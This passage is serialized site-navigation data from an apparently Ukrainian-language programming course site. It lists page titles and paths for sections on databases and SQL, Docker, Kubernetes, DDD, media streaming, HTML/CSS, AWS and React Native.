таблиць","\u002Fdatabases\u002Fintro\u002Ftable-classification","06.databases\u002F01.intro\u002F05.table-classification",{"title":2706,"path":2707,"stem":2708},"PlantUML для баз даних","\u002Fdatabases\u002Fintro\u002Fplantuml-diagrams","06.databases\u002F01.intro\u002F06.plantuml-diagrams",{"title":2710,"icon":2675,"path":2711,"stem":2712,"children":2713,"page":59},"MS SQL Server Start","\u002Fdatabases\u002Fms-sql-server-start","06.databases\u002F02.ms-sql-server-start",[2714,2718,2724,2728],{"title":2715,"path":2716,"stem":2717},"Типи даних у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fdata-types","06.databases\u002F02.ms-sql-server-start\u002F01.data-types",{"title":2719,"path":2720,"stem":2721,"children":2722},"Індекси у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-indexes","06.databases\u002F02.ms-sql-server-start\u002F02.sql-indexes",[2723],{"title":2719,"path":2720,"stem":2721},{"title":2725,"path":2726,"stem":2727},"Системні бази даних MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsystem-databases","06.databases\u002F02.ms-sql-server-start\u002F03.system-databases",{"title":2729,"path":2730,"stem":2731},"Огляд мови SQL та запитів","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-queries-overview","06.databases\u002F02.ms-sql-server-start\u002F04.sql-queries-overview",{"title":2733,"icon":2675,"path":2734,"stem":2735,"children":2736,"page":59},"SQL","\u002Fdatabases\u002Fsql","06.databases\u002F03.sql",[2737,2741,2745,2749,2753,2757,2761,2765],{"title":2738,"path":2739,"stem":2740},"Налаштування демонстраційної бази даних","\u002Fdatabases\u002Fsql\u002Fsample-database-setup","06.databases\u002F03.sql\u002F00.sample-database-setup",{"title":2742,"path":2743,"stem":2744},"DDL - Створення таблиць (CREATE TABLE)","\u002Fdatabases\u002Fsql\u002Fddl-create-table","06.databases\u002F03.sql\u002F01.ddl-create-table",{"title":2746,"path":2747,"stem":2748},"DDL - Зміна та видалення таблиць (ALTER, DROP)","\u002Fdatabases\u002Fsql\u002Fddl-alter-drop-table","06.databases\u002F03.sql\u002F02.ddl-alter-drop-table",{"title":2750,"path":2751,"stem":2752},"SELECT запити - Основи","\u002Fdatabases\u002Fsql\u002Fselect-queries-fundamentals","06.databases\u002F03.sql\u002F03.select-queries-fundamentals",{"title":2754,"path":2755,"stem":2756},"SELECT запити - Розширені можливості","\u002Fdatabases\u002Fsql\u002Fselect-queries-advanced","06.databases\u002F03.sql\u002F04.select-queries-advanced",{"title":2758,"path":2759,"stem":2760},"INSERT запити - Додавання даних","\u002Fdatabases\u002Fsql\u002Finsert-queries","06.databases\u002F03.sql\u002F05.insert-queries",{"title":2762,"path":2763,"stem":2764},"UPDATE та DELETE запити","\u002Fdatabases\u002Fsql\u002Fupdate-delete-queries","06.databases\u002F03.sql\u002F06.update-delete-queries",{"title":2766,"path":2767,"stem":2768},"Транзакції в SQL","\u002Fdatabases\u002Fsql\u002Ftransactions","06.databases\u002F03.sql\u002F07.transactions",{"title":2770,"icon":2675,"path":2771,"stem":2772,"children":2773,"page":59},"Multi Table Databases","\u002Fdatabases\u002Fmulti-table-databases","06.databases\u002F04.multi-table-databases",[2774,2778,2782,2786,2790,2794],{"title":2775,"path":2776,"stem":2777},"Зв'язки та нормалізація БД","\u002Fdatabases\u002Fmulti-table-databases\u002Frelationships-and-normalization","06.databases\u002F04.multi-table-databases\u002F00.relationships-and-normalization",{"title":2779,"path":2780,"stem":2781},"INNER JOIN - З'єднання таблиць","\u002Fdatabases\u002Fmulti-table-databases\u002Finner-join","06.databases\u002F04.multi-table-databases\u002F01.inner-join",{"title":2783,"path":2784,"stem":2785},"OUTER JOINs - LEFT, RIGHT, FULL","\u002Fdatabases\u002Fmulti-table-databases\u002Fouter-joins","06.databases\u002F04.multi-table-databases\u002F02.outer-joins",{"title":2787,"path":2788,"stem":2789},"CROSS та SELF JOINs","\u002Fdatabases\u002Fmulti-table-databases\u002Fcross-self-joins","06.databases\u002F04.multi-table-databases\u002F03.cross-self-joins",{"title":2791,"path":2792,"stem":2793},"Підзапити (Subqueries)","\u002Fdatabases\u002Fmulti-table-databases\u002Fsubqueries","06.databases\u002F04.multi-table-databases\u002F04.subqueries",{"title":2795,"path":2796,"stem":2797},"Агрегації з JOIN","\u002Fdatabases\u002Fmulti-table-databases\u002Faggregations-with-joins","06.databases\u002F04.multi-table-databases\u002F05.aggregations-with-joins",{"title":2799,"icon":2800,"path":2801,"stem":2802,"children":2803,"page":59},"Aggregate Functions","i-lucide-calculator","\u002Fdatabases\u002Faggregate-functions","06.databases\u002F05.aggregate-functions",[2804,2808,2812],{"title":2805,"path":2806,"stem":2807},"Функції агрегування в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fintroduction-aggregate-functions","06.databases\u002F05.aggregate-functions\u002F01.introduction-aggregate-functions",{"title":2809,"path":2810,"stem":2811},"Групування даних в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fgrouping-data","06.databases\u002F05.aggregate-functions\u002F02.grouping-data",{"title":2813,"path":2814,"stem":2815},"Підзапити з агрегатними функціями","\u002Fdatabases\u002Faggregate-functions\u002Fsubqueries-aggregates","06.databases\u002F05.aggregate-functions\u002F03.subqueries-aggregates",{"title":2817,"icon":2818,"path":2819,"stem":2820,"children":2821,"page":59},"Тригери та зберігаємі процедури","i-lucide-database-zap","\u002Fdatabases\u002Ftriggers-stored-procedures","06.databases\u002F07.triggers-stored-procedures",[2822,2826,2830,2834,2838,2842,2846],{"title":2823,"path":2824,"stem":2825},"DML-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fdml-triggers","06.databases\u002F07.triggers-stored-procedures\u002F01.dml-triggers",{"title":2827,"path":2828,"stem":2829},"DDL-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fddl-triggers","06.databases\u002F07.triggers-stored-procedures\u002F02.ddl-triggers",{"title":2831,"path":2832,"stem":2833},"Transact-SQL розширення","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransact-sql-extensions","06.databases\u002F07.triggers-stored-procedures\u002F03.transact-sql-extensions",{"title":2835,"path":2836,"stem":2837},"Транзакції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransactions","06.databases\u002F07.triggers-stored-procedures\u002F04.transactions",{"title":2839,"path":2840,"stem":2841},"Зберігаємі процедури","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fstored-procedures","06.databases\u002F07.triggers-stored-procedures\u002F05.stored-procedures",{"title":2843,"path":2844,"stem":2845},"Користувацькі функції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fuser-defined-functions","06.databases\u002F07.triggers-stored-procedures\u002F06.user-defined-functions",{"title":2847,"path":2848,"stem":2849},"Безпека баз даних","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fsecurity","06.databases\u002F07.triggers-stored-procedures\u002F08.security",{"title":2847,"icon":793,"path":2851,"stem":2852,"children":2853,"page":59},"\u002Fdatabases\u002Fsecurity","06.databases\u002F08.security",[2854,2858],{"title":2855,"path":2856,"stem":2857},"Вступ до безпеки баз даних","\u002Fdatabases\u002Fsecurity\u002Fintroduction","06.databases\u002F08.security\u002F01.introduction",{"title":2859,"path":2860,"stem":2861},"Системні представлення та метадані","\u002Fdatabases\u002Fsecurity\u002Fsystem-views","06.databases\u002F08.security\u002F02.system-views",{"title":2863,"icon":2864,"path":2865,"stem":2866,"children":2867,"page":59},"Резервне копіювання та відновлення","i-lucide-database-backup","\u002Fdatabases\u002Fbackup-recovery","06.databases\u002F09.backup-recovery",[2868],{"title":2863,"path":2869,"stem":2870},"\u002Fdatabases\u002Fbackup-recovery\u002Fbackup-restore","06.databases\u002F09.backup-recovery\u002F01.backup-restore",{"title":2872,"icon":2873,"path":2874,"stem":2875,"children":2876,"page":59},"Повнотекстовий пошук","i-lucide-search","\u002Fdatabases\u002Ffull-text-search","06.databases\u002F10.full-text-search",[2877],{"title":2872,"path":2878,"stem":2879},"\u002Fdatabases\u002Ffull-text-search\u002Ffull-text-search","06.databases\u002F10.full-text-search\u002F01.full-text-search",{"title":2881,"icon":2882,"path":2883,"stem":2884,"children":2885,"page":59},"Tools","i-lucide-wrench","\u002Ftools","07.tools",[2886,2962],{"title":2887,"icon":2888,"path":2889,"stem":2890,"children":2891},"Docker","i-simple-icons-docker","\u002Ftools\u002Fdocker","07.tools\u002F01.docker\u002Findex",[2892,2894,2898,2902,2906,2910,2914,2918,2922,2926,2930,2934,2938,2942,2946,2950,2954,2958],{"title":2893,"path":2889,"stem":2890},"Docker: від нуля до production",{"title":2895,"path":2896,"stem":2897},"Контейнеризація — від проблеми до рішення","\u002Ftools\u002Fdocker\u002Fcontainerization-concept","07.tools\u002F01.docker\u002F01.containerization-concept",{"title":2899,"path":2900,"stem":2901},"Docker — що це і навіщо?","\u002Ftools\u002Fdocker\u002Fdocker-what-and-why","07.tools\u002F01.docker\u002F02.docker-what-and-why",{"title":2903,"path":2904,"stem":2905},"Архітектура Docker Engine","\u002Ftools\u002Fdocker\u002Fdocker-architecture","07.tools\u002F01.docker\u002F03.docker-architecture",{"title":2907,"path":2908,"stem":2909},"Встановлення Docker","\u002Ftools\u002Fdocker\u002Finstallation","07.tools\u002F01.docker\u002F04.installation",{"title":2911,"path":2912,"stem":2913},"Перший контейнер — docker run","\u002Ftools\u002Fdocker\u002Ffirst-container","07.tools\u002F01.docker\u002F05.first-container",{"title":2915,"path":2916,"stem":2917},"Життєвий цикл контейнера","\u002Ftools\u002Fdocker\u002Fcontainer-lifecycle","07.tools\u002F01.docker\u002F06.container-lifecycle",{"title":2919,"path":2920,"stem":2921},"Docker Images — фундаментальні концепції","\u002Ftools\u002Fdocker\u002Fdocker-images-fundamentals","07.tools\u002F01.docker\u002F07.docker-images-fundamentals",{"title":2923,"path":2924,"stem":2925},"Dockerfile — основи","\u002Ftools\u002Fdocker\u002Fdockerfile-basics","07.tools\u002F01.docker\u002F08.dockerfile-basics",{"title":2927,"path":2928,"stem":2929},"Dockerfile — просунуті техніки","\u002Ftools\u002Fdocker\u002Fdockerfile-advanced","07.tools\u002F01.docker\u002F09.dockerfile-advanced",{"title":2931,"path":2932,"stem":2933},"Build Context та кешування шарів","\u002Ftools\u002Fdocker\u002Fbuild-context-and-cache","07.tools\u002F01.docker\u002F10.build-context-and-cache",{"title":2935,"path":2936,"stem":2937},"Реєстри Docker-образів","\u002Ftools\u002Fdocker\u002Fimage-registries","07.tools\u002F01.docker\u002F11.image-registries",{"title":2939,"path":2940,"stem":2941},"Контейнеризація .NET додатків","\u002Ftools\u002Fdocker\u002Fdotnet-containerization","07.tools\u002F01.docker\u002F12.dotnet-containerization",{"title":2943,"path":2944,"stem":2945},"Томи та збереження даних","\u002Ftools\u002Fdocker\u002Fvolumes-and-data","07.tools\u002F01.docker\u002F13.volumes-and-data",{"title":2947,"path":2948,"stem":2949},"Основи мережі в Docker","\u002Ftools\u002Fdocker\u002Fnetworking-basics","07.tools\u002F01.docker\u002F14.networking-basics",{"title":2951,"path":2952,"stem":2953},"Змінні оточення та конфігурація","\u002Ftools\u002Fdocker\u002Fenvironment-and-configuration","07.tools\u002F01.docker\u002F15.environment-and-configuration",{"title":2955,"path":2956,"stem":2957},"Docker Compose — оркестрація контейнерів","\u002Ftools\u002Fdocker\u002Fdocker-compose-basics","07.tools\u002F01.docker\u002F16.docker-compose-basics",{"title":2959,"path":2960,"stem":2961},"Docker Compose — Multi-Service застосунки","\u002Ftools\u002Fdocker\u002Fcompose-multi-service","07.tools\u002F01.docker\u002F17.compose-multi-service",{"title":2963,"icon":2964,"path":2965,"stem":2966,"children":2967},"Kubernetes","simple-icons:kubernetes","\u002Ftools\u002Fkubernetes","07.tools\u002F02.kubernetes\u002Findex",[2968,2970,2974,2978,2982,2986,2990,2994,2998],{"title":2969,"path":2965,"stem":2966},"Kubernetes: від розробки до production",{"title":2971,"path":2972,"stem":2973},"Kubernetes — коли Docker Compose більше не вистачає","\u002Ftools\u002Fkubernetes\u002Fwhy-kubernetes","07.tools\u002F02.kubernetes\u002F01.why-kubernetes",{"title":2975,"path":2976,"stem":2977},"Архітектура Kubernetes — анатомія кластера","\u002Ftools\u002Fkubernetes\u002Fkubernetes-architecture","07.tools\u002F02.kubernetes\u002F02.kubernetes-architecture",{"title":2979,"path":2980,"stem":2981},"Локальне середовище — minikube, kind та k3s","\u002Ftools\u002Fkubernetes\u002Flocal-environment","07.tools\u002F02.kubernetes\u002F03.local-environment",{"title":2983,"path":2984,"stem":2985},"Pod — атомарна одиниця Kubernetes","\u002Ftools\u002Fkubernetes\u002Fpods-and-containers","07.tools\u002F02.kubernetes\u002F04.pods-and-containers",{"title":2987,"path":2988,"stem":2989},"Патерни використання Pod","\u002Ftools\u002Fkubernetes\u002Fpod-patterns","07.tools\u002F02.kubernetes\u002F05.pod-patterns",{"title":2991,"path":2992,"stem":2993},"Deployment — декларативне управління Pod","\u002Ftools\u002Fkubernetes\u002Fdeployment-basics","07.tools\u002F02.kubernetes\u002F06.deployment-basics",{"title":2995,"path":2996,"stem":2997},"Rolling Updates та управління життєвим циклом Deployment","\u002Ftools\u002Fkubernetes\u002Fdeployment-rolling-updates","07.tools\u002F02.kubernetes\u002F07.deployment-rolling-updates",{"title":2999,"path":3000,"stem":3001},"Service — мережева абстракція для Pod","\u002Ftools\u002Fkubernetes\u002Fservices-networking","07.tools\u002F02.kubernetes\u002F08.services-networking",{"title":3003,"icon":3004,"path":3005,"stem":3006,"children":3007,"page":59},"Software Engineering","i-lucide-code-2","\u002Fsoftware-engineering","09.software-engineering",[3008,3012,3016,3020,3024,3028,3032,3036,3040,3044,3048],{"title":3009,"path":3010,"stem":3011},"1. Аналіз предметної області. Експертні знання та складність","\u002Fsoftware-engineering\u002Fintro-subdomains","09.software-engineering\u002F01.intro-subdomains",{"title":3013,"path":3014,"stem":3015},"2. Обмежені контексти. Інтеграція обмежених контекстів","\u002Fsoftware-engineering\u002Fintegrating-limited-contexts","09.software-engineering\u002F02.integrating-limited-contexts",{"title":3017,"path":3018,"stem":3019},"3. Реалізація простої бізнес-логіки","\u002Fsoftware-engineering\u002Fsimple","09.software-engineering\u002F03.simple",{"title":3021,"path":3022,"stem":3023},"4. Опрацювання складної бізнес-логіки","\u002Fsoftware-engineering\u002Fcomplex-business-logic","09.software-engineering\u002F04.complex-business-logic",{"title":3025,"path":3026,"stem":3027},"5. Моделювання фактора часу. Подієво-орієнтована архітектура.","\u002Fsoftware-engineering\u002Fmodelling-the-time-factor","09.software-engineering\u002F05.modelling-the-time-factor",{"title":3029,"path":3030,"stem":3031},"6. Архітектурні патерни","\u002Fsoftware-engineering\u002Farchitectural-patterns","09.software-engineering\u002F06.architectural-patterns",{"title":3033,"path":3034,"stem":3035},"Паттерни взаємодії","\u002Fsoftware-engineering\u002Fpatterns-of-interaction","09.software-engineering\u002F07.patterns-of-interaction",{"title":3037,"path":3038,"stem":3039},"Евристика проєктування","\u002Fsoftware-engineering\u002Fdesign-heuristics","09.software-engineering\u002F08.design-heuristics",{"title":3041,"path":3042,"stem":3043},"Еволюція проєктних рішень","\u002Fsoftware-engineering\u002Fevolution-of-design-solutions","09.software-engineering\u002F09.evolution-of-design-solutions",{"title":3045,"path":3046,"stem":3047},"EventStorming","\u002Fsoftware-engineering\u002Feventstorming","09.software-engineering\u002F10.eventstorming",{"title":3049,"path":3050,"stem":3051},"DDD на практиці","\u002Fsoftware-engineering\u002Fddd-in-practice","09.software-engineering\u002F11.ddd-in-practice",{"title":3053,"icon":943,"path":3054,"stem":3055,"children":3056,"page":59},"DDD","\u002Fddd","10.ddd",[3057,3061,3065,3069,3073,3077,3081,3085,3089,3093,3097,3101,3105],{"title":3058,"path":3059,"stem":3060},"Аналіз предметної області","\u002Fddd\u002Fdomain-analysis","10.ddd\u002F01.domain-analysis",{"title":3062,"path":3063,"stem":3064},"Експертні знання про предметну область","\u002Fddd\u002Fdomain-expert-knowledge","10.ddd\u002F02.domain-expert-knowledge",{"title":3066,"path":3067,"stem":3068},"Як осмислити складність предметної області","\u002Fddd\u002Fmanaging-domain-complexity","10.ddd\u002F03.managing-domain-complexity",{"title":3070,"path":3071,"stem":3072},"Інтеграція обмежених контекстів","\u002Fddd\u002Fbounded-context-integration","10.ddd\u002F04.bounded-context-integration",{"title":3074,"path":3075,"stem":3076},"Реалізація простої бізнес-логіки","\u002Fddd\u002Fsimple-business-logic","10.ddd\u002F05.simple-business-logic",{"title":3078,"path":3079,"stem":3080},"Обробка складної бізнес-логіки","\u002Fddd\u002Fcomplex-business-logic","10.ddd\u002F06.complex-business-logic",{"title":3082,"path":3083,"stem":3084},"Моделювання фактора часу","\u002Fddd\u002Ftime-modeling","10.ddd\u002F07.time-modeling",{"title":3086,"path":3087,"stem":3088},"Глава 8. Архітектурні Патерни","\u002Fddd\u002Farchitectural-patterns","10.ddd\u002F08.architectural-patterns",{"title":3090,"path":3091,"stem":3092},"Глава 9. Патерни Взаємодії","\u002Fddd\u002Finteraction-patterns","10.ddd\u002F09.interaction-patterns",{"title":3094,"path":3095,"stem":3096},"Глава 10. Проектні Евристики","\u002Fddd\u002Fdesign-heuristics","10.ddd\u002F10.design-heuristics",{"title":3098,"path":3099,"stem":3100},"Глава 11. Еволюція Проектних Рішень","\u002Fddd\u002Fevolution-of-design-decisions","10.ddd\u002F11.evolution-of-design-decisions",{"title":3102,"path":3103,"stem":3104},"Глава 12. EventStorming","\u002Fddd\u002Fevent-storming","10.ddd\u002F12.event-storming",{"title":3106,"path":3107,"stem":3108},"Глава 13. DDD на Практиці","\u002Fddd\u002Fddd-in-practice","10.ddd\u002F13.ddd-in-practice",{"title":3110,"icon":3111,"path":3112,"stem":3113,"children":3114,"page":59},"Media Streaming","i-lucide-video","\u002Fmedia-streaming","11.media-streaming",[3115,3119,3123,3127,3131,3135,3139],{"title":3116,"path":3117,"stem":3118},"01. Магія Стрімінгу: Що відбувається, коли ви натискаєте \"Play\"","\u002Fmedia-streaming\u002Fintroduction","11.media-streaming\u002F01.introduction",{"title":3120,"path":3121,"stem":3122},"02. Анатомія Медіа: Кодеки, Контейнери та Стиснення","\u002Fmedia-streaming\u002Faudio-video-anatomy","11.media-streaming\u002F02.audio-video-anatomy",{"title":3124,"path":3125,"stem":3126},"03. The Gym: FFmpeg Deep Dive","\u002Fmedia-streaming\u002Fffmpeg-gym","11.media-streaming\u002F03.ffmpeg-gym",{"title":3128,"path":3129,"stem":3130},"04. HLS Protocol: HTTP Live Streaming у Деталях","\u002Fmedia-streaming\u002Fhls-protocol","11.media-streaming\u002F04.hls-protocol",{"title":3132,"path":3133,"stem":3134},"05. DASH Protocol: Відкритий Стандарт","\u002Fmedia-streaming\u002Fdash-protocol","11.media-streaming\u002F05.dash-protocol",{"title":3136,"path":3137,"stem":3138},"06. Масштабування: CDN та Adaptive Bitrate","\u002Fmedia-streaming\u002Fcdn-and-adaptive-bitrate","11.media-streaming\u002F06.cdn-and-adaptive-bitrate",{"title":3140,"path":3141,"stem":3142},"07. Війна із Затримкою (Latency)","\u002Fmedia-streaming\u002Frealtime-latency","11.media-streaming\u002F07.realtime-latency",{"title":3144,"icon":3145,"path":3146,"stem":3147,"children":3148,"page":59},"HTML & CSS","i-devicon-html5","\u002Fhtml-css","12.html-css",[3149,3153,3157,3161,3165,3169,3173,3177,3181,3185,3189,3193,3197,3201,3205,3209,3213,3217,3221,3225,3229,3233,3237,3241,3245,3249,3253,3257,3261,3265],{"title":3150,"path":3151,"stem":3152},"Вступ до HTML. Структура документа","\u002Fhtml-css\u002Fintro-html-structure","12.html-css\u002F01.intro-html-structure",{"title":3154,"path":3155,"stem":3156},"Форматування тексту в HTML","\u002Fhtml-css\u002Fhtml-text-formatting","12.html-css\u002F02.html-text-formatting",{"title":3158,"path":3159,"stem":3160},"Посилання та зображення в HTML","\u002Fhtml-css\u002Fhtml-links-images","12.html-css\u002F03.html-links-images",{"title":3162,"path":3163,"stem":3164},"Списки та таблиці в HTML","\u002Fhtml-css\u002Fhtml-lists-tables","12.html-css\u002F04.html-lists-tables",{"title":3166,"path":3167,"stem":3168},"Форми в HTML","\u002Fhtml-css\u002Fhtml-forms","12.html-css\u002F05.html-forms",{"title":3170,"path":3171,"stem":3172},"Семантичні елементи HTML5","\u002Fhtml-css\u002Fhtml-semantic-elements","12.html-css\u002F06.html-semantic-elements",{"title":3174,"path":3175,"stem":3176},"Мультимедіа та розширені елементи HTML","\u002Fhtml-css\u002Fhtml-multimedia-advanced","12.html-css\u002F07.html-multimedia-advanced",{"title":3178,"path":3179,"stem":3180},"Мікророзмітка та SEO в HTML","\u002Fhtml-css\u002Fhtml-microdata-seo","12.html-css\u002F08.html-microdata-seo",{"title":3182,"path":3183,"stem":3184},"Вступ до CSS. Селектори та специфічність","\u002Fhtml-css\u002Fcss-intro-selectors","12.html-css\u002F09.css-intro-selectors",{"title":3186,"path":3187,"stem":3188},"Блокова модель CSS. Відступи. Box Sizing","\u002Fhtml-css\u002Fcss-box-model","12.html-css\u002F10.css-box-model",{"title":3190,"path":3191,"stem":3192},"Розміри у CSS: повний довідник одиниць і ключових слів","\u002Fhtml-css\u002F10a.css-sizing","12.html-css\u002F10a.css-sizing",{"title":3194,"path":3195,"stem":3196},"Типографіка в CSS. Шрифти та текст","\u002Fhtml-css\u002Fcss-typography","12.html-css\u002F11.css-typography",{"title":3198,"path":3199,"stem":3200},"Кольори та фони в CSS","\u002Fhtml-css\u002Fcss-colors-backgrounds","12.html-css\u002F12.css-colors-backgrounds",{"title":3202,"path":3203,"stem":3204},"Тіні та фільтри в CSS","\u002Fhtml-css\u002F12b.css-shadows-filters","12.html-css\u002F12b.css-shadows-filters",{"title":3206,"path":3207,"stem":3208},"CSS Flexbox: Фундамент гнучких макетів","\u002Fhtml-css\u002Fcss-flexbox-fundamentals","12.html-css\u002F13.css-flexbox-fundamentals",{"title":3210,"path":3211,"stem":3212},"CSS Flexbox: Вирівнювання та Позиціонування","\u002Fhtml-css\u002Fcss-flexbox-alignment-sizing-and-patterns","12.html-css\u002F14.css-flexbox-alignment-sizing-and-patterns",{"title":3214,"path":3215,"stem":3216},"CSS Grid. Двовимірний макет. Частина 1","\u002Fhtml-css\u002Fcss-layout-grid","12.html-css\u002F15.css-layout-grid",{"title":3218,"path":3219,"stem":3220},"CSS Grid. Двовимірний макет. Частина 2","\u002Fhtml-css\u002Fcss-layout-grid-advanced","12.html-css\u002F16.css-layout-grid-advanced",{"title":3222,"path":3223,"stem":3224},"Позиціонування в CSS. Z-index. Stacking Context","\u002Fhtml-css\u002Fcss-positioning","12.html-css\u002F17.css-positioning",{"title":3226,"path":3227,"stem":3228},"CSS Анімації та Переходи","\u002Fhtml-css\u002Fcss-animations-transitions","12.html-css\u002F18.css-animations-transitions",{"title":3230,"path":3231,"stem":3232},"Адаптивний дизайн. Media Queries. Частина 1","\u002Fhtml-css\u002Fcss-responsive-media-queries","12.html-css\u002F19.css-responsive-media-queries",{"title":3234,"path":3235,"stem":3236},"Адаптивний дизайн. Частина 2: clamp(), Container Queries, @layer","\u002Fhtml-css\u002Fcss-responsive-advanced","12.html-css\u002F20.css-responsive-advanced",{"title":3238,"path":3239,"stem":3240},"CSS Custom Properties. Методології. Сучасний CSS","\u002Fhtml-css\u002Fcss-variables-methodologies","12.html-css\u002F21.css-variables-methodologies",{"title":3242,"path":3243,"stem":3244},"Сучасний CSS 2023–2025: Нові можливості","\u002Fhtml-css\u002Fcss-modern-features","12.html-css\u002F22.css-modern-features",{"title":3246,"path":3247,"stem":3248},"CSS Nesting, @layer, @scope та @property: нативний препроцесор","\u002Fhtml-css\u002F22a.css-nesting-modern-syntax","12.html-css\u002F22a.css-nesting-modern-syntax",{"title":3250,"path":3251,"stem":3252},"CSS для форм та інтерактивних станів","\u002Fhtml-css\u002Fcss-forms-interactive-states","12.html-css\u002F23.css-forms-interactive-states",{"title":3254,"path":3255,"stem":3256},"Доступність у CSS (CSS Accessibility)","\u002Fhtml-css\u002Fcss-accessibility","12.html-css\u002F24.css-accessibility",{"title":3258,"path":3259,"stem":3260},"CSS-функції та сучасні sizing primitives","\u002Fhtml-css\u002Fcss-functions-sizing","12.html-css\u002F25.css-functions-sizing",{"title":3262,"path":3263,"stem":3264},"Rendering Pipeline і CSS Performance","\u002Fhtml-css\u002Fcss-rendering-performance","12.html-css\u002F26.css-rendering-performance",{"title":3266,"path":3267,"stem":3268},"CSS Best Practices: типові ситуації та правильні рішення","\u002Fhtml-css\u002Fcss-best-practices","12.html-css\u002F27.css-best-practices",{"title":3270,"path":3271,"stem":3272,"children":3273,"page":59},"AWS","\u002Faws","13.aws",[3274,3278,3282,3286,3290,3294,3298,3302,3306,3310,3314,3318,3322,3326,3330,3334,3338,3342],{"title":3275,"path":3276,"stem":3277},"Реєстрація AWS акаунту та студентські програми","\u002Faws\u002Faccount-registration","13.aws\u002F00.account-registration",{"title":3279,"path":3280,"stem":3281},"Вступ до хмарних обчислень та AWS","\u002Faws\u002Fintroduction-to-cloud","13.aws\u002F01.introduction-to-cloud",{"title":3283,"path":3284,"stem":3285},"AWS IAM — Identity and Access Management","\u002Faws\u002Fiam","13.aws\u002F02.iam",{"title":3287,"path":3288,"stem":3289},"AWS IAM CLI — Довідник команд","\u002Faws\u002F02a.iam-doc","13.aws\u002F02a.iam-doc",{"title":3291,"path":3292,"stem":3293},"Docker та контейнеризація в AWS — ECR, ECS та Fargate","\u002Faws\u002Fdocker-ecs","13.aws\u002F03.docker-ecs",{"title":3295,"path":3296,"stem":3297},"AWS ECR \u002F ECS CLI — Довідник команд","\u002Faws\u002F03a.docker-ecs-doc","13.aws\u002F03a.docker-ecs-doc",{"title":3299,"path":3300,"stem":3301},"Amazon EC2 — Elastic Compute Cloud","\u002Faws\u002Fec2","13.aws\u002F04.ec2",{"title":3303,"path":3304,"stem":3305},"AWS EC2 CLI — Довідник команд","\u002Faws\u002F04a.ec2-doc","13.aws\u002F04a.ec2-doc",{"title":3307,"path":3308,"stem":3309},"Elastic Load Balancing та Auto Scaling","\u002Faws\u002Falb-asg","13.aws\u002F05.alb-asg",{"title":3311,"path":3312,"stem":3313},"Amazon S3 — Simple Storage Service","\u002Faws\u002Fs3","13.aws\u002F06.s3",{"title":3315,"path":3316,"stem":3317},"Amazon CloudFront — Content Delivery Network","\u002Faws\u002Fcloudfront","13.aws\u002F07.cloudfront",{"title":3319,"path":3320,"stem":3321},"Amazon RDS — Relational Database Service","\u002Faws\u002Frds","13.aws\u002F08.rds",{"title":3323,"path":3324,"stem":3325},"Amazon DynamoDB — NoSQL Database","\u002Faws\u002Fdynamodb","13.aws\u002F09.dynamodb",{"title":3327,"path":3328,"stem":3329},"AWS Lambda та Serverless Compute","\u002Faws\u002Flambda","13.aws\u002F10.lambda",{"title":3331,"path":3332,"stem":3333},"Amazon Bedrock - Foundation Models, RAG та Agents","\u002Faws\u002Fbedrock","13.aws\u002F22.bedrock",{"title":3335,"path":3336,"stem":3337},"Amazon Rekognition - Комп'ютерний зір","\u002Faws\u002Frekognition","13.aws\u002F23.rekognition",{"title":3339,"path":3340,"stem":3341},"Amazon Textract - Інтелектуальний аналіз документів","\u002Faws\u002Ftextract","13.aws\u002F24.textract",{"title":3343,"path":3344,"stem":3345},"Amazon Polly, Transcribe, Comprehend та Translate","\u002Faws\u002Faudio-nlp-services","13.aws\u002F25.audio-nlp-services",{"title":3347,"path":3348,"stem":3349,"children":3350,"page":59},"Ai Development","\u002Fai-development","14.ai-development",[3351],{"title":3352,"path":3353,"stem":3354,"children":3355,"page":59},"Foundations","\u002Fai-development\u002Ffoundations","14.ai-development\u002F00.foundations",[3356],{"title":3357,"path":3358,"stem":3359},"Модуль 0.1. Що таке Large Language Model (LLM)","\u002Fai-development\u002Ffoundations\u002Fwhat-is-llm","14.ai-development\u002F00.foundations\u002F01.what-is-llm",{"title":3361,"path":3362,"stem":3363,"children":3364,"page":59},"React Native","\u002Freact-native","15.react-native",[3365,3386],{"title":3366,"path":3367,"stem":3368,"children":3369,"page":59},"Version1","\u002Freact-native\u002Fversion1","15.react-native\u002Fversion1",[3370,3374,3378,3382],{"title":3371,"path":3372,"stem":3373},"Що таке React Native","\u002Freact-native\u002Fversion1\u002Fwhat-is-react-native","15.react-native\u002Fversion1\u002F01.what-is-react-native",{"title":3375,"path":3376,"stem":3377},"Як влаштований React Native «під капотом»","\u002Freact-native\u002Fversion1\u002Freact-native-architecture","15.react-native\u002Fversion1\u002F02.react-native-architecture",{"title":3379,"path":3380,"stem":3381},"Від React до React Native: ключові відмінності","\u002Freact-native\u002Fversion1\u002Freact-native-vs-react","15.react-native\u002Fversion1\u002F03.react-native-vs-react",{"title":3383,"path":3384,"stem":3385},"View та Text — фундаментальні будівельні блоки","\u002Freact-native\u002Fversion1\u002Fview-and-text","15.react-native\u002Fversion1\u002F04.view-and-text",{"title":3387,"path":3388,"stem":3389,"children":3390,"page":59},"Version2","\u002Freact-native\u002Fversion2","15.react-native\u002Fversion2",[3391,3395,3399,3403,3407,3411,3415,3419,3423,3427,3431,3435,3439,3443,3447,3451,3455,3459,3463,3467,3471,3475,3479,3483,3487,3491],{"title":3392,"path":3393,"stem":3394},"React Native — навіщо він потрібен","\u002Freact-native\u002Fversion2\u002Fwhy-react-native","15.react-native\u002Fversion2\u002F01.why-react-native",{"title":3396,"path":3397,"stem":3398},"Налаштування середовища розробки","\u002Freact-native\u002Fversion2\u002Fenvironment-setup","15.react-native\u002Fversion2\u002F02.environment-setup",{"title":3400,"path":3401,"stem":3402},"Expo і класичний React Native — два шляхи одного 